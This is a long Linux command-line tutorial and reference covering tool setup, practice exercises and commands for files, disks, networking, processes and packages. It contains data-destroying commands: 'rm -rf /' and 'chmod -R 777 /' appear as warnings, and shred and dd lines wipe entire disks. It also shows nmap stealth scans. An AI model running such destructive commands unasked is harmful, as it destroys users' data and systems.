export PATH=$PATH:$GOPATH/bin
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc

IDEs and Editors

# Vim with plugins
sudo apt install vim
curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
    https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim

# VS Code
wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > packages.microsoft.gpg
sudo install -o root -g root -m 644 packages.microsoft.gpg /etc/apt/trusted.gpg.d/
echo "deb [arch=amd64,arm64,armhf] https://packages.microsoft.com/repos/code stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
sudo apt update
sudo apt install code

Version Control

# Git configuration
git config --global user.name "Your Name"
git config --global user.email "your@email.com"
git config --global core.editor vim
git config --global init.defaultBranch main

# Useful Git aliases
git config --global alias.st status
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.lg "log --graph --oneline --all"

# Basic workflow
git clone https://github.com/user/repo.git
cd repo
git add .
git commit -m "descriptive message"
git push origin main

Practice Exercises

Exercise 1: File Operations

# Tasks to complete
mkdir ~/practice/test
touch ~/practice/test/notes.txt
echo "Linux is powerful" > ~/practice/test/notes.txt
cp ~/practice/test/notes.txt ~/practice/test/notes_backup.txt
rm ~/practice/test/notes.txt

Exercise 2: Process Management

# Find root processes
ps aux | grep '^root'

# Identify listening ports
ss -tulpn | grep LISTEN

# Check system uptime
uptime
who
last | head

Exercise 3: Text Processing

# Search logs
grep "error" /var/log/syslog | tail -20

# Count lines
wc -l /var/log/auth.log

# Extract IP addresses
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /var/log/auth.log | sort -u

Exercise 4: System Administration

# Create user
sudo useradd -m -s /bin/bash testuser
sudo usermod -aG sudo testuser
sudo passwd testuser

# SSH key setup
ssh-keygen -t ed25519
ssh-copy-id testuser@localhost

# Basic firewall
sudo ufw enable
sudo ufw allow 22
sudo ufw status

Common Mistakes to Avoid

Dangerous Commands

# NEVER run these without understanding
rm -rf / 
chmod -R 777 /
chown -R user:user /

# Always verify paths
pwd
ls -la
# Then execute dangerous operations

Best Practices

  • Always use sudo instead of logging in as root
  • Test commands with --dry-run or -n flags when available
  • Make backups before modifying system files
  • Read man pages before using unfamiliar commands
  • Verify paths carefully with pwd and ls before destructive operations

Learning Resources and Next Steps

Practice Platforms

  • OverTheWire - Bandit wargame teaches Linux command line
  • Linux Journey - Interactive tutorials for beginners
  • Explain Shell - Visualize what commands do

Documentation

# Man pages
man command                                          # Full manual
man -k keyword                                       # Search man pages
apropos keyword                                      # Find related commands

# Help options
command --help
command -h

# Info pages
info command

Online Resources

  • Linux Documentation Project - tldp.org
  • Arch Linux Wiki - Excellent technical documentation
  • Ubuntu Documentation - ubuntu.com/server/docs
  • Red Hat Documentation - access.redhat.com/documentation

Comprehensive Command Reference

This section provides in-depth coverage of essential Linux commands organized by functionality
Each command includes practical syntax , real-world examples , and security considerations

Extended File Operations

tree - Directory Structure Visualization

tree                                                 # Show directory tree
tree -L 2                                            # Limit depth to 2 levels
tree -d                                              # Directories only
tree -a                                              # Include hidden files
tree -f                                              # Full path prefix
tree -p                                              # Show permissions
tree -h                                              # Human-readable sizes
tree -C                                              # Colorize output
tree /var/log | less                                 # Navigate large trees

stat - Detailed File Information

stat file.txt                                        # Complete file metadata
stat -f file.txt                                     # Filesystem information
stat -c "%a %n" file.txt                             # Permissions and name
stat -c "%s" file.txt                                # File size only
stat -c "%y" file.txt                                # Modification time

file - Determine File Type

file document.pdf                                    # Identify file type
file -b image.jpg                                    # Brief mode (no filename)
file -i data.bin                                     # MIME type
file *                                               # Check all files in directory
file -z compressed.gz                                # Look inside compressed files

basename and dirname - Path Manipulation

basename /path/to/file.txt                           # Returns: file.txt
basename /path/to/file.txt .txt                      # Returns: file
dirname /path/to/file.txt                            # Returns: /path/to

readlink - Resolve Symbolic Links

readlink symlink                                     # Show link target
readlink -f symlink                                  # Follow to final target
readlink -e file                                     # Canonicalize existing path

mktemp - Create Temporary Files

mktemp                                               # Create temp file in /tmp
mktemp -d                                            # Create temp directory
mktemp /tmp/script.XXXXXX                            # Custom template
mktemp -u                                            # Generate name without creating
TMPFILE=$(mktemp) && echo "data" > "$TMPFILE"        # Use in scripts

shred - Secure File Deletion

shred -vfz -n 10 sensitive.txt                       # 10 passes , zero , verbose
shred -u secret.key                                  # Overwrite and remove
shred /dev/sda                                       # Wipe entire disk (DANGEROUS)

chattr and lsattr - Extended Attributes

chattr +i critical.conf                              # Make immutable
chattr +a log.txt                                    # Append-only
chattr -R +i /etc/important/                         # Recursive immutable
lsattr file.txt                                      # View attributes
lsattr -d directory/                                 # Directory attributes
lsattr -R /etc | grep "\-\-\-\-i"                    # Find immutable files

cksum and md5sum - Checksums

cksum file.txt                                       # CRC checksum
md5sum file.txt                                      # MD5 hash
md5sum file.txt > file.txt.md5                       # Save checksum
md5sum -c file.txt.md5                               # Verify checksum
sha256sum file.txt                                   # SHA256 (more secure)
sha512sum sensitive.data                             # SHA512 (most secure)

mc - Midnight Commander File Manager

mc                                                   # Launch file manager
mc /path/to/dir1 /path/to/dir2                       # Open two directories
# F5 - Copy , F6 - Move , F8 - Delete , F10 - Quit

Compression and Archiving Commands

gzip and gunzip - Gzip Compression

gzip file.txt                                        # Compress to file.txt.gz
gzip -k file.txt                                     # Keep original
gzip -9 file.txt                                     # Maximum compression
gzip -r directory/                                   # Recursive compression
gunzip file.txt.gz                                   # Decompress
gunzip -c file.gz > output.txt                       # Decompress to stdout
zcat file.gz                                         # View compressed file
zless file.gz                                        # Page through compressed file
zgrep "pattern" file.gz                              # Search in compressed file

bzip2 and bunzip2 - Bzip2 Compression

bzip2 file.txt                                       # Compress to file.txt.bz2
bzip2 -k file.txt                                    # Keep original
bzip2 -9 file.txt                                    # Best compression
bunzip2 file.txt.bz2                                 # Decompress
bzcat file.bz2                                       # View compressed file
bzless file.bz2                                      # Page through
bzgrep "pattern" file.bz2                            # Search in compressed

zip and unzip - Zip Archives

zip archive.zip file1.txt file2.txt                  # Create zip
zip -r archive.zip directory/                        # Recursive
zip -e secure.zip file.txt                           # Encrypt with password
zip -9 archive.zip files*                            # Maximum compression
unzip archive.zip                                    # Extract all
unzip archive.zip -d /dest/                          # Extract to directory
unzip -l archive.zip                                 # List contents
unzip -t archive.zip                                 # Test integrity
zipinfo archive.zip                                  # Detailed information

tar - Tape Archive

tar -czf archive.tar.gz directory/                   # Create gzipped tar
tar -cjf archive.tar.bz2 directory/                  # Create bzipped tar
tar -cJf archive.tar.xz directory/                   # Create xz compressed tar
tar -xzf archive.tar.gz                              # Extract gzipped
tar -xjf archive.tar.bz2                             # Extract bzipped
tar -tzf archive.tar.gz                              # List contents
tar -xzf archive.tar.gz file.txt                     # Extract specific file
tar -czf - directory/ | ssh user@host "cat > backup.tar.gz"  # Remote backup

cpio - Copy In/Out

find . -name "*.txt" | cpio -o > archive.cpio        # Create archive
cpio -i < archive.cpio                               # Extract archive
ls | cpio -ov > archive.cpio                         # Verbose creation
cpio -idv < archive.cpio                             # Extract with verbosity

Advanced Text Processing

Column Formatting

column -t file.txt                                   # Auto-format columns
column -s: -t /etc/passwd                            # Use : as separator
mount | column -t                                    # Format mount output

Text Transformation

expand file.txt                                      # Convert tabs to spaces
unexpand -a file.txt                                 # Convert spaces to tabs
fold -w 80 file.txt                                  # Wrap at 80 columns
fmt -w 100 file.txt                                  # Reformat to 100 width

Text Comparison

cmp file1 file2                                      # Binary comparison
comm file1 file2                                     # Compare sorted files
comm -12 file1 file2                                 # Show common lines only
sdiff file1 file2                                    # Side-by-side comparison
diff3 file1 file2 file3                              # Three-way comparison

Advanced Pattern Matching

egrep "pattern1|pattern2" file                       # Extended grep (same as grep -E)
fgrep "literal string" file                          # Fixed string (same as grep -F)
look word /usr/share/dict/words                      # Dictionary lookup

Spell Checking

aspell check document.txt                            # Interactive spell check
aspell list < file.txt                               # List misspellings
ispell file.txt                                      # Alternative spell checker

Disk and Filesystem Utilities

fdisk - Partition Management

sudo fdisk -l                                        # List all partitions
sudo fdisk /dev/sdb                                  # Manage disk partitions
# Commands: n (new), d (delete), p (print), w (write), q (quit)

parted - Advanced Partitioning

sudo parted /dev/sdb print                           # Show partition table
sudo parted /dev/sdb mklabel gpt                     # Create GPT table
sudo parted /dev/sdb mkpart primary ext4 0% 100%     # Create partition
sudo parted /dev/sdb resizepart 1 50GB               # Resize partition

mkfs - Create Filesystems

sudo mkfs.ext4 /dev/sdb1                             # Create ext4 filesystem
sudo mkfs.xfs /dev/sdb1                              # Create XFS filesystem
sudo mkfs.vfat /dev/sdb1                             # Create FAT32 filesystem
sudo mkfs.ext4 -L "DataDrive" /dev/sdb1              # With label

fsck - Filesystem Check and Repair

sudo fsck /dev/sdb1                                  # Check filesystem
sudo fsck -y /dev/sdb1                               # Auto-repair
sudo e2fsck -f /dev/sdb1                             # Force check ext4
sudo e2fsck -p /dev/sdb1                             # Automatic safe repair

tune2fs - Ext Filesystem Tuning

sudo tune2fs -l /dev/sdb1                            # Show filesystem info
sudo tune2fs -c 30 /dev/sdb1                         # Check every 30 mounts
sudo tune2fs -L "NewLabel" /dev/sdb1                 # Change label
sudo tune2fs -m 1 /dev/sdb1                          # Reserve 1% for root

hdparm - Disk Performance

sudo hdparm -I /dev/sda                              # Disk information
sudo hdparm -t /dev/sda                              # Test read speed
sudo hdparm -Tt /dev/sda                             # Cache and disk read
sudo hdparm -W0 /dev/sda                             # Disable write cache

blkid - Block Device Attributes

blkid                                                # All block devices
blkid /dev/sdb1                                      # Specific device
blkid -s UUID /dev/sdb1                              # Get UUID only
blkid -s TYPE /dev/sdb1                              # Get filesystem type

lsblk - List Block Devices

lsblk                                                # List all block devices
lsblk -f                                             # Show filesystems
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT                   # Custom columns
lsblk -a                                             # Show all devices

dd - Disk Copy and Conversion

sudo dd if=/dev/sda of=/dev/sdb bs=4M status=progress  # Clone disk
sudo dd if=/dev/sda of=disk.img bs=4M                # Create disk image
sudo dd if=disk.img of=/dev/sdb bs=4M                # Restore image
sudo dd if=/dev/zero of=/dev/sdb bs=1M count=100     # Wipe first 100MB
sudo dd if=/dev/urandom of=file bs=1M count=10       # Create random file

mkswap and swapon - Swap Management

sudo mkswap /dev/sdb2                                # Create swap area
sudo swapon /dev/sdb2                                # Enable swap
sudo swapon -s                                       # Show swap status
sudo swapoff /dev/sdb2                               # Disable swap

mdadm - Software RAID Management

sudo mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sdb /dev/sdc
sudo mdadm --detail /dev/md0                         # RAID status
sudo mdadm --add /dev/md0 /dev/sdd                   # Add spare disk
sudo mdadm --fail /dev/md0 /dev/sdb                  # Mark disk as failed
cat /proc/mdstat                                     # Check RAID status

dumpe2fs - Ext Filesystem Info

sudo dumpe2fs /dev/sdb1 | less                       # View filesystem details
sudo dumpe2fs -h /dev/sdb1                           # Superblock info only

badblocks - Check for Bad Sectors

sudo badblocks -v /dev/sdb1                          # Read-only test
sudo badblocks -w /dev/sdb1                          # Destructive write test
sudo badblocks -sv /dev/sdb1                         # Show progress

Advanced Networking Commands

nmcli - NetworkManager CLI

nmcli device status                                  # Show device status
nmcli connection show                                # List connections
nmcli connection up eth0                             # Activate connection
nmcli connection down eth0                           # Deactivate connection
nmcli device wifi list                               # List WiFi networks
nmcli device wifi connect SSID password PASSWORD     # Connect to WiFi

ethtool - Network Interface Settings

ethtool eth0                                         # Interface info
sudo ethtool -s eth0 speed 1000 duplex full          # Set speed/duplex
ethtool -i eth0                                      # Driver information
ethtool -S eth0                                      # Statistics

iwconfig - Wireless Configuration

iwconfig                                             # Show wireless interfaces
iwconfig wlan0                                       # Specific interface info
sudo iwconfig wlan0 essid "NetworkName"              # Set SSID
sudo iwconfig wlan0 mode managed                     # Set mode

iftop - Bandwidth Monitoring

sudo iftop                                           # Real-time bandwidth
sudo iftop -i eth0                                   # Specific interface
sudo iftop -n                                        # Show IP addresses
sudo iftop -P                                        # Show ports

vnstat - Network Traffic Monitor

vnstat                                               # Monthly statistics
vnstat -d                                            # Daily statistics
vnstat -h                                            # Hourly statistics
vnstat -l                                            # Live monitoring

arpwatch - ARP Monitoring

sudo arpwatch -i eth0                                # Monitor ARP activity
sudo arpwatch -f arp.dat                             # Use custom database

nmap - Network Scanning

nmap 192.168.1.1                                     # Basic scan
nmap -sn 192.168.1.0/24                              # Ping sweep
nmap -p 1-65535 192.168.1.1                          # All ports
nmap -sV 192.168.1.1                                 # Version detection
nmap -O 192.168.1.1                                  # OS detection
nmap -A 192.168.1.1                                  # Aggressive scan
nmap -sS 192.168.1.1                                 # SYN stealth scan

telnet - Remote Login (insecure)

telnet hostname 23                                   # Connect to telnet
telnet hostname 80                                   # Test HTTP port
# Type: GET / HTTP/1.0 then press Enter twice

ftp - File Transfer Protocol

ftp hostname                                         # Connect to FTP
# Commands: ls, cd, get, put, mget, mput, quit

smbclient - SMB/CIFS Client

smbclient -L //server                                # List shares
smbclient //server/share -U username                 # Connect to share
# Commands: ls, cd, get, put, mget, mput, quit

System Monitoring and Performance

vmstat - Virtual Memory Statistics

vmstat 1 10                                          # Update every second, 10 times
vmstat -s                                            # Memory statistics
vmstat -d                                            # Disk statistics
vmstat -a                                            # Active/inactive memory

iostat - I/O Statistics

iostat                                               # Basic I/O stats
iostat -x 1 10                                       # Extended stats, 1 sec interval
iostat -c                                            # CPU only
iostat -d                                            # Disk only
iostat -p sda                                        # Specific device

mpstat - CPU Statistics

mpstat                                               # Overall CPU usage
mpstat -P ALL                                        # Per-CPU statistics
mpstat 1 5                                           # Update every second, 5 times

sar - System Activity Reporter

sar -u 1 5                                           # CPU usage
sar -r 1 5                                           # Memory usage
sar -d 1 5                                           # Disk I/O
sar -n DEV 1 5                                       # Network statistics
sar -q 1 5                                           # Queue length and load average

pidof - Find Process ID

pidof sshd                                           # Get PID of sshd
pidof -s nginx                                       # Single PID only
pidof -x script.sh                                   # Include scripts

pgrep - Process Grep

pgrep nginx                                          # Find nginx processes
pgrep -u root                                        # Root's processes
pgrep -l ssh                                         # Show names too
pgrep -c apache2                                     # Count processes

tload - Load Average Graph

tload                                                # Visual load average
tload -d 5                                           # 5 second delay

uptime - System Uptime

uptime                                               # Show uptime and load
uptime -p                                            # Pretty format
uptime -s                                            # Since when

w - Who is Logged In

w                                                    # Show logged users
w username                                           # Specific user
w -h                                                 # No header

dmesg - Kernel Messages

dmesg                                                # All kernel messages
dmesg | tail                                         # Recent messages
dmesg -T                                             # Human-readable time
dmesg -l err                                         # Errors only
dmesg -w                                             # Follow mode
dmesg -c                                             # Clear ring buffer

lshw - Hardware Information

sudo lshw                                            # All hardware
sudo lshw -short                                     # Brief format
sudo lshw -C network                                 # Network hardware
sudo lshw -C disk                                    # Disk hardware
sudo lshw -html > hardware.html                      # HTML report

lsusb - USB Devices

lsusb                                                # List USB devices
lsusb -v                                             # Verbose
lsusb -t                                             # Tree format
lsusb -s 001:002                                     # Specific device

lspci - PCI Devices

lspci                                                # List PCI devices
lspci -v                                             # Verbose
lspci -k                                             # Show kernel drivers
lspci | grep VGA                                     # Graphics cards

dmidecode - DMI Table Decoder

sudo dmidecode                                       # All DMI info
sudo dmidecode -t system                             # System information
sudo dmidecode -t processor                          # CPU information
sudo dmidecode -t memory                             # RAM information
sudo dmidecode -t bios                               # BIOS information

Process Control and Management

nice and renice - Process Priority

nice -n 10 command                                   # Run with lower priority
nice -n -10 command                                  # Higher priority (needs root)
renice 10 -p 1234                                    # Change priority of PID 1234
renice -10 -u username                               # Change for all user processes

nohup - Run Immune to Hangups

nohup command &                                      # Run in background
nohup ./long_script.sh > output.log 2>&1 &           # With output redirect

disown - Remove Job from Shell

command &                                            # Start background job
jobs                                                 # List jobs
disown %1                                            # Remove job 1 from shell
disown -a                                            # Disown all jobs

at - Schedule One-time Tasks

at now + 1 hour                                      # Schedule in 1 hour
at 10:00 AM                                          # Schedule at specific time
at now + 1 week                                      # Schedule in 1 week
# Type commands, press Ctrl+D to save
atq                                                  # List scheduled jobs
atrm 1                                               # Remove job 1

batch - Run When Load is Low

batch                                                # Queue commands
# Type commands, press Ctrl+D
# Runs when load average < 1.5

timeout - Run with Time Limit

timeout 10s command                                  # Kill after 10 seconds
timeout 5m long_command                              # Kill after 5 minutes
timeout -k 10s 5m command                            # Grace period before force kill

User and Permission Management Extended

chage - Password Aging

sudo chage -l username                               # Show password info
sudo chage -M 90 username                            # Max 90 days password age
sudo chage -m 7 username                             # Min 7 days between changes
sudo chage -E 2024-12-31 username                    # Account expires on date
sudo chage -I 14 username                            # Lock after 14 days inactive

pwck and grpck - Verify Password Files

sudo pwck                                            # Check /etc/passwd integrity
sudo grpck                                           # Check /etc/group integrity

vipw and vigr - Safe Password Editing

sudo vipw                                            # Edit /etc/passwd safely
sudo vigr                                            # Edit /etc/group safely

getent - Get Entry from Databases

getent passwd username                               # User information
getent group groupname                               # Group information
getent hosts hostname                                # DNS lookup
getent services ssh                                  # Service information

finger - User Information

finger username                                      # User details
finger @hostname                                     # Remote users

newgrp - Change Current Group

newgrp groupname                                     # Switch to group
newgrp -                                             # Switch to default group

gpasswd - Group Administration

sudo gpasswd -a username groupname                   # Add user to group
sudo gpasswd -d username groupname                   # Remove user from group
sudo gpasswd -A admin groupname                      # Set group administrator
sudo gpasswd -M user1,user2 groupname                # Set group members

Package Management Extended

apt-cache - Package Information

apt-cache search keyword                             # Search packages
apt-cache show package                               # Package details
apt-cache policy package                             # Version and source info
apt-cache depends package                            # Show dependencies
apt-cache rdepends package                           # Reverse dependencies

dpkg - Debian Package Manager

dpkg -i package.deb                                  # Install .deb package
dpkg -r package                                      # Remove package
dpkg -P package                                      # Purge package
dpkg -l                                              # List installed packages
dpkg -L package                                      # List files from package
dpkg -S /path/to/file                                # Find package owning file
dpkg-reconfigure package                             # Reconfigure package

rpm - RPM Package Manager

rpm -ivh package.rpm                                 # Install with progress
rpm -Uvh package.rpm                                 # Upgrade package
rpm -e package                                       # Erase/remove package
rpm -qa                                              # Query all packages
rpm -qi package                                      # Package information
rpm -ql package                                      # List files in package
rpm -qf /path/to/file                                # Find package owning file
rpm -V package                                       # Verify package

snap - Snap Package Manager

snap find package                                    # Search for packages
snap install package                                 # Install snap
snap list                                            # List installed snaps
snap refresh                                         # Update all snaps
snap refresh package                                 # Update specific snap
snap remove package                                  # Remove snap
snap info package                                    # Package information

flatpak - Flatpak Package Manager

flatpak search app                                   # Search applications
flatpak install flathub app                          # Install from Flathub
flatpak list                                         # List installed apps
flatpak update                                       # Update all apps
flatpak uninstall app                                # Remove application
flatpak run app                                      # Run application

Shell Scripting Utilities

read - Read Input

read -p "Enter name: " name                          # Prompt for input
read -s password                                     # Silent input (passwords)
read -t 5 input                                      # Timeout after 5 seconds
read -a array                                        # Read into array

test and [ ] - Conditions

test -f file && echo "File exists"                   # Test file existence
[ -d directory ] && echo "Directory exists"          # Test directory
[ -x script.sh ] && echo "Executable"                # Test executable
[ "$var" = "value" ] && echo "Match"                 # String comparison
[ $num -gt 10 ] && echo "Greater than 10"            # Numeric comparison

expr - Evaluate Expressions

expr 5 + 3                                           # Arithmetic
expr 10 \* 2                                         # Multiplication (escape *)
expr length "string"                                 # String length
expr substr "hello" 1 2                              # Substring

bc - Calculator

echo "5 + 3" | bc                                    # Basic math
echo "scale=2; 10 / 3" | bc                          # Decimal places
echo "sqrt(16)" | bc -l                              # Square root
bc -l <<< "scale=4; 22/7"                            # Pi approximation

seq - Generate Sequences

seq 10                                               # 1 to 10
seq 5 10                                             # 5 to 10
seq 0 2 10                                           # 0 to 10 step 2
seq -s , 5                                           # Comma separator

yes - Repeat String

yes | command                                        # Answer yes to all
yes no | command                                     # Answer no to all
yes "text" | head -5                                 # Repeat custom text

sleep - Delay

sleep 5                                              # Sleep 5 seconds
sleep 5m                                             # Sleep 5 minutes
sleep 0.5                                            # Sleep 0.5 seconds

System Configuration and Settings

timedatectl - Time and Date Management

timedatectl                                          # Show current settings
timedatectl set-time "2024-11-28 12:00:00"           # Set date and time
timedatectl set-timezone America/New_York            # Set timezone
timedatectl list-timezones                           # List available timezones
timedatectl set-ntp true                             # Enable NTP

localectl - Locale Settings

localectl                                            # Show locale settings
localectl list-locales                               # List available locales
localectl set-locale LANG=en_US.UTF-8                # Set system locale
localectl set-keymap us                              # Set keyboard layout

hostnamectl - Hostname Management

hostnamectl                                          # Show hostname info
hostnamectl set-hostname new-hostname                # Set hostname
hostnamectl set-hostname --static new-name           # Set static hostname
hostnamectl set-hostname --transient temp-name       # Set transient hostname

sysctl - Kernel Parameters

sysctl -a                                            # List all parameters
sysctl net.ipv4.ip_forward                           # Show specific parameter
sysctl -w net.ipv4.ip_forward=1                      # Set parameter temporarily
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf  # Permanent
sysctl -p                                            # Reload from config

modprobe - Kernel Module Management

modprobe module_name                                 # Load module
modprobe -r module_name                              # Remove module
modprobe -c                                          # Show configuration
modprobe -l                                          # List available modules

lsmod - List Loaded Modules

lsmod                                                # List all loaded modules
lsmod | grep module                                  # Search for specific module

insmod and rmmod - Simple Module Management

sudo insmod /path/to/module.ko                       # Insert module
sudo rmmod module_name                               # Remove module

ulimit - Resource Limits

ulimit -a                                            # Show all limits
ulimit -n 4096                                       # Set file descriptor limit
ulimit -u 2048                                       # Set process limit
ulimit -f unlimited                                  # Set file size limit

alias and unalias - Command Shortcuts

alias ll='ls -alF'                                   # Create alias
alias ..='cd ..'                                     # Shortcut for parent dir
unalias ll                                           # Remove alias
alias                                                # List all aliases

export - Environment Variables

export PATH=$PATH:/new/path                          # Add to PATH
export VARNAME=value                                 # Set variable
export -p                                            # List all exports
unset VARNAME                                        # Remove variable

Boot and System Control

shutdown - System Shutdown

sudo shutdown now                                    # Shutdown immediately
sudo shutdown -h +10                                 # Shutdown in 10 minutes
sudo shutdown -r now                                 # Reboot now
sudo shutdown -c                                     # Cancel scheduled shutdown
sudo shutdown 20:00                                  # Shutdown at 8 PM

reboot - System Reboot

sudo reboot                                          # Reboot immediately
sudo reboot -f                                       # Force reboot
sudo reboot -p                                       # Power off after reboot

halt and poweroff - System Halt

sudo halt                                            # Halt system
sudo poweroff                                        # Power off system
sudo halt -p                                         # Power off after halt

systemctl - System Control

systemctl poweroff                                   # Shutdown system
systemctl reboot                                     # Reboot system
systemctl suspend                                    # Suspend to RAM
systemctl hibernate                                  # Hibernate to disk
systemctl hybrid-sleep                               # Hybrid suspend/hibernate

grub-install and update-grub - Bootloader

sudo grub-install /dev/sda                           # Install GRUB
sudo update-grub                                     # Update GRUB config
sudo grub-mkconfig -o /boot/grub/grub.cfg            # Generate config

Text Editors and Processing

vi/vim - Visual Editor

vi file.txt                                          # Open file
# i - Insert mode
# Esc - Command mode
# :w - Save
# :q - Quit
# :wq - Save and quit
# :q! - Quit without saving
# /pattern - Search
# dd - Delete line
# yy - Copy line
# p - Paste

nano - Simple Editor

nano file.txt                                        # Open file
# Ctrl+O - Save
# Ctrl+X - Exit
# Ctrl+K - Cut line
# Ctrl+U - Paste
# Ctrl+W - Search

emacs - Extensible Editor

emacs file.txt                                       # Open file
# Ctrl+x Ctrl+s - Save
# Ctrl+x Ctrl+c - Exit
# Ctrl+k - Cut line
# Ctrl+y - Paste
# Ctrl+s - Search forward

ed - Line Editor

ed file.txt                                          # Open file
# a - Append text
# i - Insert text
# d - Delete line
# w - Write file
# q - Quit

Development and Programming Tools

gcc and g++ - Compilers

gcc program.c -o program                             # Compile C program
gcc -Wall -g program.c -o program                    # With warnings and debug
g++ program.cpp -o program                           # Compile C++ program
g++ -std=c++17 program.cpp -o program                # Specific C++ standard

make - Build Automation

make                                                 # Build using Makefile
make clean                                           # Clean build artifacts
make install                                         # Install built program
make -j4                                             # Parallel build (4 jobs)

gdb - Debugger

gdb program                                          # Start debugger
# run - Run program
# break main - Set breakpoint at main
# step - Step into
# next - Step over
# continue - Continue execution
# print var - Print variable
# quit - Exit debugger

ldd - Library Dependencies

ldd /bin/ls                                          # Show shared libraries
ldd -v program                                       # Verbose output
ldd -u program                                       # Unused dependencies

nm - Symbol Table

nm program                                           # List symbols
nm -D library.so                                     # Dynamic symbols
nm -g program                                        # External symbols only

objdump - Object File Dump

objdump -d program                                   # Disassemble
objdump -t program                                   # Symbol table
objdump -h program                                   # Section headers

readelf - ELF File Reader

readelf -h program                                   # ELF header
readelf -S program                                   # Section headers
readelf -s program                                   # Symbol table
readelf -d library.so                                # Dynamic section

strings - Extract Strings

strings binary                                       # Extract printable strings
strings -n 10 binary                                 # Min length 10
strings -a binary                                    # Scan entire file

git - Version Control

git init                                             # Initialize repository
git clone url                                        # Clone repository
git add .                                            # Stage all changes
git commit -m "message"                              # Commit changes
git push origin main                                 # Push to remote
git pull                                             # Pull from remote
git status                                           # Show status
git log                                              # Show commit history
git branch                                           # List branches
git checkout -b new-branch                           # Create and switch branch
git merge branch                                     # Merge branch
git diff                                             # Show changes

Miscellaneous Utilities

date - Date and Time

date                                                 # Current date and time
date "+%Y-%m-%d"                                     # Custom format
date "+%Y-%m-%d %H:%M:%S"                            # With time
date -d "tomorrow"                                   # Tomorrow's date
date -d "2 weeks ago"                                # Relative date
date -d @1234567890                                  # From timestamp

cal - Calendar

cal                                                  # Current month
cal 2024                                             # Year calendar
cal 12 2024                                          # Specific month
cal -3                                               # Three months

time - Measure Execution Time

time command                                         # Time command execution
time ls -R /                                         # Time directory listing
/usr/bin/time -v command                             # Detailed timing

watch - Execute Periodically

watch -n 1 command                                   # Update every second
watch -d command                                     # Highlight differences
watch df -h                                          # Monitor disk usage
watch "ps aux | grep process"                        # Monitor processes

xargs - Build Commands

find . -name "*.txt" | xargs rm                      # Delete found files
echo "file1 file2" | xargs cat                       # Cat multiple files
ls | xargs -I {} mv {} {}.bak                        # Rename with pattern
find . -name "*.log" | xargs -n 1 gzip               # Compress files one by one

tee - Read and Write

command | tee output.txt                             # Output to file and stdout
command | tee -a output.txt                          # Append to file
command | tee file1 file2                            # Multiple files

script and scriptreplay - Record Sessions

script session.log                                   # Start recording
# Do work
exit                                                 # Stop recording
scriptreplay -t timing.log session.log               # Replay session

history - Command History

history                                              # Show command history
history 20                                           # Last 20 commands
!123                                                 # Execute command 123
!!                                                   # Execute last command
!string                                              # Execute last command starting with string
history -c                                           # Clear history

which and whereis - Locate Commands

which python                                         # Show command path
which -a python                                      # All instances
whereis ls                                           # Binary, source, and man page
whereis -b ls                                        # Binary only

whatis and apropos - Command Info

whatis ls                                            # One-line description
apropos search                                       # Search man pages
apropos -s 1 user                                    # Search section 1 only

man and info - Documentation

man command                                          # Manual page
man 5 passwd                                         # Specific section
man -k keyword                                       # Search by keyword
info command                                         # Info page
info --vi-keys                                       # Use vi-style keys

clear and reset - Terminal Control

clear                                                # Clear screen
reset                                                # Reset terminal
tput reset                                           # Alternative reset

echo and printf - Output

echo "text"                                          # Print text
echo -n "text"                                       # No newline
echo -e "line1\nline2"                               # Interpret escapes
printf "%s %d\n" "text" 123                          # Formatted output
printf "%-10s %5d\n" "name" 42                       # With formatting

factor - Prime Factorization

factor 100                                           # Factor number
factor 1234567890                                    # Large number

units - Unit Conversion

units "5 meters" "feet"                              # Convert units
units -t "100 miles" "kilometers"                    # Terse output

hexdump and od - Binary Dumps

hexdump file.bin                                     # Hex dump
hexdump -C file.bin                                  # Canonical hex+ASCII
od -x file.bin                                       # Octal dump hex format
od -c file.bin                                       # Character dump

base64 - Encoding

echo "text" | base64                                 # Encode
echo "dGV4dAo=" | base64 -d                          # Decode
base64 file.bin > encoded.txt                        # Encode file
base64 -d encoded.txt > file.bin                     # Decode file

uuencode and uudecode - Unix-to-Unix Encoding

uuencode file.bin file.bin > encoded.uu              # Encode
uudecode encoded.uu                                  # Decode

iconv - Character Encoding Conversion

iconv -f ISO-8859-1 -t UTF-8 input.txt > output.txt  # Convert encoding
iconv -l                                             # List encodings

rev - Reverse Lines

echo "hello" | rev                                   # Reverse characters
rev file.txt                                         # Reverse each line

tac - Reverse File

tac file.txt                                         # Reverse line order
tac file1.txt file2.txt                              # Multiple files

shuf - Shuffle Lines

shuf file.txt                                        # Random order
shuf -n 5 file.txt                                   # Output 5 random lines
shuf -e one two three                                # Shuffle arguments

split - Split Files

split -b 100M largefile part_                        # Split by size
split -l 1000 file.txt part_                         # Split by lines
split -n 5 file.txt part_                            # Split into 5 files

join - Join Files

join file1.txt file2.txt                             # Join on first field
join -1 2 -2 1 file1.txt file2.txt                   # Join on different fields
join -t: -1 1 -2 1 file1.txt file2.txt               # Custom delimiter